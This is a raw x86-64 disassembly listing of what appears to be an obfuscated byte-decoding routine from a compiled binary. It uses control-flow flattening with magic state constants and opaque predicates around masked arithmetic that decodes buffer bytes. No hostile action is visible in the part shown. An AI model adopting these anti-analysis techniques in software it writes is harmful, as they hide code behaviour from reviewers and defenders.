cmp ecx, 0x4d9cf004
jne 0x140049a61
mov eax, dword [0x1400611f0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x98cbd77f
mov eax, 0x7a00c67b
jmp 0x140049a54
cmp ecx, 0xcabcdf42
je 0x14004a0bf
cmp ecx, 0xe747b84f
jne 0x140049a61
mov byte [r8], 0
add r8, 1
cmp r8, qword [rbp + 0x80]
mov ecx, 0xe747b84f
mov eax, 0x540bdb80
cmove ecx, eax
jmp 0x140049a61
mov eax, dword [0x1400611f0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov ecx, 0x3469ddb7
mov eax, 0x5d672a3f
jmp 0x140049a54
mov rax, qword [rbp + 0x50]
mov cl, byte [rbp + 0x58]
mov byte [rax], cl
mov r9, qword [rbp + 0x50]
mov rax, qword [rbp + 0x38]
mov r10b, byte [rax + 5]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x68]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x40]
or cl, al
mov ebx, 0x4cf020a
mov eax, 0x75aedf14
cmovne ebx, eax
mov ecx, 0x4cf020a
mov eax, 0x45917e58
cmovne ecx, eax
mov esi, 0x8f8aa7a1
mov eax, 0x2cd254e
cmovne esi, eax
mov edi, 0xec7e2cc5
jmp 0x140049ea0
mov edi, 0x1ace8dcf
nop word [rax + rax]
mov eax, edi
cmp edi, 0x1ace8dce
jg 0x140049ef0
cmp eax, 0x2cd254d
jg 0x140049f10
cmp eax, 0x8f8aa7a1
je 0x140049e92
cmp eax, 0xec7e2cc5
jne 0x140049f5e
movzx eax, byte [rbp + 0x68]
cmp byte [rbp + 0x40], 0
mov edx, 0x1ace8dcf
mov edi, 0x1ace8dcf
jne 0x140049edc
mov edi, 0x8f8aa7a1
test al, al
cmovne edi, edx
jmp 0x140049ea0
cmp eax, 0x46987e57
jg 0x140049f30
mov edi, esi
cmp eax, 0x1ace8dcf
je 0x140049ea0
mov edi, eax
cmp eax, 0x45917e58
jne 0x140049ea0
mov edi, ebx
jmp 0x140049ea0
cmp eax, 0x2cd254e
je 0x140049f54
mov edi, eax
cmp eax, 0x4cf020a
jne 0x140049ea0
mov edi, 0x45917e58
jmp 0x140049ea0
mov edi, ecx
cmp eax, 0x46987e58
je 0x140049ea0
mov edi, eax
cmp eax, 0x75aedf14
jne 0x140049ea0
mov edi, 0xa4151800
jmp 0x140049ea0
mov edi, 0x46987e58
jmp 0x140049ea0
mov edi, eax
cmp eax, 0xa4151800
jne 0x140049ea0
mov al, 0x63
sub al, r10b
and al, 0x89
add r10b, 0x1c
and r10b, 0x76
or r10b, al
mov byte [r9 + 1], r10b
mov rax, qword [rbp + 0x38]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x68]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x40]
or cl, al
mov ecx, 0x4cf020a
mov eax, 0x75aedf14
cmovne ecx, eax
mov edi, 0x4cf020a
mov eax, 0x45917e58
cmovne edi, eax
mov ebx, 0x8f8aa7a1
mov eax, 0x2cd254e
cmovne ebx, eax
mov edx, 0xec7e2cc5
jmp 0x140049fe0
mov edx, 0x1ace8dcf
mov eax, edx
cmp edx, 0x1ace8dce
jg 0x14004a030
cmp eax, 0x2cd254d
jg 0x14004a050
cmp eax, 0x8f8aa7a1
je 0x140049fdb
cmp eax, 0xec7e2cc5
jne 0x14004a09e
movzx eax, byte [rbp + 0x68]
cmp byte [rbp + 0x40], 0
mov esi, 0x1ace8dcf
mov edx, 0x1ace8dcf
jne 0x14004a01c
mov edx, 0x8f8aa7a1
test al, al
cmovne edx, esi
jmp 0x140049fe0
cmp eax, 0x46987e57
jg 0x14004a070
mov edx, ebx
cmp eax, 0x1ace8dcf
je 0x140049fe0
mov edx, eax
cmp eax, 0x45917e58
jne 0x140049fe0
mov edx, ecx
jmp 0x140049fe0
cmp eax, 0x2cd254e
je 0x14004a094
mov edx, eax
cmp eax, 0x4cf020a
jne 0x140049fe0
mov edx, 0x45917e58
jmp 0x140049fe0
mov edx, edi
cmp eax, 0x46987e58
je 0x140049fe0
mov edx, eax
cmp eax, 0x75aedf14
jne 0x140049fe0
mov edx, 0xa4151800
jmp 0x140049fe0
mov edx, 0x46987e58
jmp 0x140049fe0
mov edx, eax
cmp eax, 0xa4151800
jne 0x140049fe0
mov ecx, 0x7a00c67b
jmp 0x140049a61
mov ecx, 0x5d672a3f
jmp 0x140049a61
mov rax, qword [rbp + 0x78]
mov cl, byte [rbp + 0x48]
mov byte [rax], cl
mov r8, qword [rbp + 0x78]
mov rax, qword [rbp + 0x38]
mov r9b, byte [rax + 7]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x68]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x40]
or cl, al
mov edx, 0x4cf020a
mov eax, 0x75aedf14
cmovne edx, eax
mov esi, 0x4cf020a
mov eax, 0x45917e58
cmovne esi, eax
mov edi, 0x8f8aa7a1
mov eax, 0x2cd254e
cmovne edi, eax
mov ebx, 0xec7e2cc5
jmp 0x14004a130
mov ebx, 0x1ace8dcf
nop
mov eax, ebx
cmp ebx, 0x1ace8dce
jg 0x14004a180
cmp eax, 0x2cd254d
jg 0x14004a1a0
cmp eax, 0x8f8aa7a1
je 0x14004a12a
cmp eax, 0xec7e2cc5
jne 0x14004a1ee
movzx eax, byte [rbp + 0x68]
cmp byte [rbp + 0x40], 0
mov ecx, 0x1ace8dcf
mov ebx, 0x1ace8dcf
jne 0x14004a16c
mov ebx, 0x8f8aa7a1
test al, al
cmovne ebx, ecx
jmp 0x14004a130
cmp eax, 0x46987e57
jg 0x14004a1c0
mov ebx, edi
cmp eax, 0x1ace8dcf
je 0x14004a130
mov ebx, eax
cmp eax, 0x45917e58
jne 0x14004a130
mov ebx, edx
jmp 0x14004a130
cmp eax, 0x2cd254e
je 0x14004a1e4
mov ebx, eax
cmp eax, 0x4cf020a
jne 0x14004a130
mov ebx, 0x45917e58
jmp 0x14004a130
mov ebx, esi
cmp eax, 0x46987e58
je 0x14004a130
mov ebx, eax
cmp eax, 0x75aedf14
jne 0x14004a130
mov ebx, 0xa4151800
jmp 0x14004a130
mov ebx, 0x46987e58
jmp 0x14004a130
mov ebx, eax
cmp eax, 0xa4151800
jne 0x14004a130
mov al, 0x63
sub al, r9b
and al, 0x8b
add r9b, 0x1c
and r9b, 0x74
or r9b, al
mov byte [r8 + 1], r9b
mov rax, qword [rbp + 0x38]
mov r9b, byte [rax + 8]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x68]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x40]
or cl, al
mov edx, 0x4cf020a
mov eax, 0x75aedf14
cmovne edx, eax
mov esi, 0x4cf020a
mov eax, 0x45917e58
cmovne esi, eax
mov edi, 0x8f8aa7a1
mov eax, 0x2cd254e
cmovne edi, eax
mov ebx, 0xec7e2cc5
jmp 0x14004a280
mov ebx, 0x1ace8dcf
nop word cs:[rax + rax]
nop
mov eax, ebx
cmp ebx, 0x1ace8dce
jg 0x14004a2d0
cmp eax, 0x2cd254d
jg 0x14004a2f0
cmp eax, 0x8f8aa7a1
je 0x14004a26f
cmp eax, 0xec7e2cc5
jne 0x14004a33e
movzx eax, byte [rbp + 0x68]
cmp byte [rbp + 0x40], 0
mov ecx, 0x1ace8dcf
mov ebx, 0x1ace8dcf
jne 0x14004a2bc
mov ebx, 0x8f8aa7a1
test al, al
cmovne ebx, ecx
jmp 0x14004a280
cmp eax, 0x46987e57
jg 0x14004a310
mov ebx, edi
cmp eax, 0x1ace8dcf
je 0x14004a280
mov ebx, eax
cmp eax, 0x45917e58
jne 0x14004a280
mov ebx, edx
jmp 0x14004a280
cmp eax, 0x2cd254e
je 0x14004a334
mov ebx, eax
cmp eax, 0x4cf020a
jne 0x14004a280
mov ebx, 0x45917e58
jmp 0x14004a280
mov ebx, esi
cmp eax, 0x46987e58
je 0x14004a280
mov ebx, eax
cmp eax, 0x75aedf14
jne 0x14004a280
mov ebx, 0xa4151800
jmp 0x14004a280
mov ebx, 0x46987e58
jmp 0x14004a280
mov ebx, eax
cmp eax, 0xa4151800
jne 0x14004a280
mov al, 0x63
sub al, r9b
and al, 0x8c
add r9b, 0x1c
and r9b, 0x73
or r9b, al
mov byte [r8 + 2], r9b
mov rax, qword [rbp + 0x38]
mov r9b, byte [rax + 9]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x68]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x40]
or cl, al
mov edx, 0x4cf020a
mov eax, 0x75aedf14
cmovne edx, eax
mov esi, 0x4cf020a
mov eax, 0x45917e58
cmovne esi, eax
mov edi, 0x8f8aa7a1
mov eax, 0x2cd254e
cmovne edi, eax
mov ebx, 0xec7e2cc5
jmp 0x14004a3d0
mov ebx, 0x1ace8dcf
nop word cs:[rax + rax]
nop
mov eax, ebx
cmp ebx, 0x1ace8dce
jg 0x14004a420
cmp eax, 0x2cd254d
jg 0x14004a440
cmp eax, 0x8f8aa7a1
je 0x14004a3bf
cmp eax, 0xec7e2cc5
jne 0x14004a48e
movzx eax, byte [rbp + 0x68]
cmp byte [rbp + 0x40], 0
mov ecx, 0x1ace8dcf
mov ebx, 0x1ace8dcf
jne 0x14004a40c
mov ebx, 0x8f8aa7a1
test al, al
cmovne ebx, ecx
jmp 0x14004a3d0
cmp eax, 0x46987e57
jg 0x14004a460
mov ebx, edi
cmp eax, 0x1ace8dcf
je 0x14004a3d0
mov ebx, eax
cmp eax, 0x45917e58
jne 0x14004a3d0
mov ebx, edx
jmp 0x14004a3d0
cmp eax, 0x2cd254e
je 0x14004a484
mov ebx, eax
cmp eax, 0x4cf020a
jne 0x14004a3d0
mov ebx, 0x45917e58
jmp 0x14004a3d0
mov ebx, esi
cmp eax, 0x46987e58
je 0x14004a3d0
mov ebx, eax
cmp eax, 0x75aedf14
jne 0x14004a3d0
mov ebx, 0xa4151800
jmp 0x14004a3d0
mov ebx, 0x46987e58
jmp 0x14004a3d0
mov ebx, eax
cmp eax, 0xa4151800
jne 0x14004a3d0
mov al, 0x63
sub al, r9b
and al, 0x8d
add r9b, 0x1c
and r9b, 0x72
or r9b, al
mov byte [r8 + 3], r9b
mov rax, qword [rbp + 0x38]
mov r9b, byte [rax + 0xa]
mov eax, dword [0x1400611e8]
mov ecx, dword [0x1400611ec]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete al
sete byte [rbp + 0x68]
cmp ecx, 0xa
setl cl
setl byte [rbp + 0x40]
or cl, al
mov edx, 0x4cf020a
mov eax, 0x75aedf14
cmovne edx, eax
mov esi, 0x4cf020a
mov eax, 0x45917e58
cmovne esi, eax
mov edi, 0x8f8aa7a1
mov eax, 0x2cd254e
cmovne edi, eax
mov ebx, 0xec7e2cc5
jmp 0x14004a520
mov ebx, 0x1ace8dcf
nop word cs:[rax + rax]
nop
mov eax, ebx
cmp ebx, 0x1ace8dce
jg 0x14004a570
cmp eax, 0x2cd254d
jg 0x14004a590
cmp eax, 0x8f8aa7a1
je 0x14004a50f
cmp eax, 0xec7e2cc5
jne 0x14004a5de
movzx eax, byte [rbp + 0x68]
cmp byte [rbp + 0x40], 0
mov ecx, 0x1ace8dcf
mov ebx, 0x1ace8dcf
jne 0x14004a55c
mov ebx, 0x8f8aa7a1
test al, al
cmovne ebx, ecx
jmp 0x14004a520
cmp eax, 0x46987e57
jg 0x14004a5b0
mov ebx, edi
cmp eax, 0x1ace8dcf
je 0x14004a520
mov ebx, eax
cmp eax, 0x45917e58
jne 0x14004a520
mov ebx, edx
jmp 0x14004a520
cmp eax, 0x2cd254e
je 0x14004a5d4
mov ebx, eax
cmp eax, 0x4cf020a
jne 0x14004a520
mov ebx, 0x45917e58
jmp 0x14004a520
mov ebx, esi
cmp eax, 0x46987e58
je 0x14004a520
mov ebx, eax
cmp eax, 0x75aedf14
jne 0x14004a520
mov ebx, 0xa4151800
jmp 0x14004a520
mov ebx, 0x46987e58
jmp 0x14004a520
mov ebx, eax
cmp eax, 0xa4151800
jne 0x14004a520
mov al, 0x63
sub al, r9b
and al, 0x8e
add r9b, 0x1c
and r9b, 0x71
or r9b, al
mov byte [r8 + 4], r9b
add r8, 5
mov rax, qword [rbp + 0x28]
add rax, 0x1b
mov qword [rbp + 0x80], rax
mov ecx, 0xe747b84f
jmp 0x140049a61
cmp ecx, 0xa0dbb166
jne 0x140049a61
mov eax, 0x7315e2c5
jmp 0x140021078
cmp eax, 0xdcc41f50
jne 0x140021078
lea rsp, [rbp + 0x88]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret